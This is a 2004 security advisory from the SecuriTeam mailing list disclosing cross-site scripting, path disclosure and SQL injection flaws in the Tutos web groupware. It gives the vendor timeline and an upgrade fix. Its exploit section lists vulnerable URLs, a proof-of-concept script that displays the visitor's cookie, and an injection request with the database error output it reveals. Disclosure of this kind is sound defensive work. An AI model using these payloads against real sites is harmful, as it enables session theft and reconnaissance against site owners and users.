[UNIX] Multiple Vulnerabilities in Tutos (Cross Site Scripting, Path Disclosure, SQL Injection)
From: SecuriTeam (support_at_securiteam.com)
Date: 04/14/04
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To: list@securiteam.com Date: 14 Apr 2004 12:06:58 +0200
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Multiple Vulnerabilities in Tutos (Cross Site Scripting, Path Disclosure,
SQL Injection)
------------------------------------------------------------------------
SUMMARY
<http://www.tutos.org> TUTOS is "a tool to manage the organizational
needs of small groups, teams, departments, to do this it provides some
web-based tools". The product has been found to contain multiple
vulnerabilities.
DETAILS
Cross Site Scripting:
Multiple exploitable pages were found in Tutos that cause script execution
on client's computer by following a crafted URL. An attacker can input
specially crafted links and/or other malicious scripts.
Path Disclosure:
These vulnerabilities would allow a remote user to determine the full path
to the web root directory and other potentially sensitive information. A
remote user submitting a specially crafted HTTP request can trigger this
vulnerability.
Exploits:
Cross Site Scripting:
In many Tutos forms for create new items like :
- http://[tutos]/php/company_new.php
- http://[tutos]/php/app_new.php
- http://[tutos]/php/task_new.php
- http://[tutos]/php/[xxxx]_new.php
The hostile code could be:
[script]alert("Cookie="+document.cookie)[/script]
(Open a window with the cookie of the visitor)
(Replace [] by <>)
Path Disclosure / SQL Injection:
The affected page is note_overview.php :
http://[tutos]/php/note/note_overview.php?id=1;
The navigator display:
Detail :
SELECT DISTINCT n.* FROM notes n WHERE n.id = 1; ORDER by
creation DESC
TUTOS Version: 1.1.20030715
PHP Version: "xxx"
PHP Config: "xxx"
APACHE Version: "xxx"
Browser: "xxx"
DB User : tutos
DB Alias : TUTOS database
URL: /tutos/php/note/note_overview.php
Request: /tutos/php/note/note_overview.php?id=1;
Called by: "xxx"
.. (and the directory structure)
Solution:
Upgrade your Tutos version to 1.1.20040412.
Workaround:
Cross Site Scripting:
Use the function php eregi_replace to filter the input data.
Vendor status:
2004-01-13 Vulnerability discovered
2004-01-13 The vendor has reportedly been notified
2004-01-16 First response - Working on the security fixes
2004-04-12 Bugfix update (version 1.1.20040412)
2004-04-13 Public disclosure
ADDITIONAL INFORMATION
The information has been provided by <mailto:francois.sorin@kereval.com>
Fran?ois SORIN.
The original article can be found at:
<http://www.kereval.com/a,20040413100957.html>
http://www.kereval.com/a,20040413100957.html
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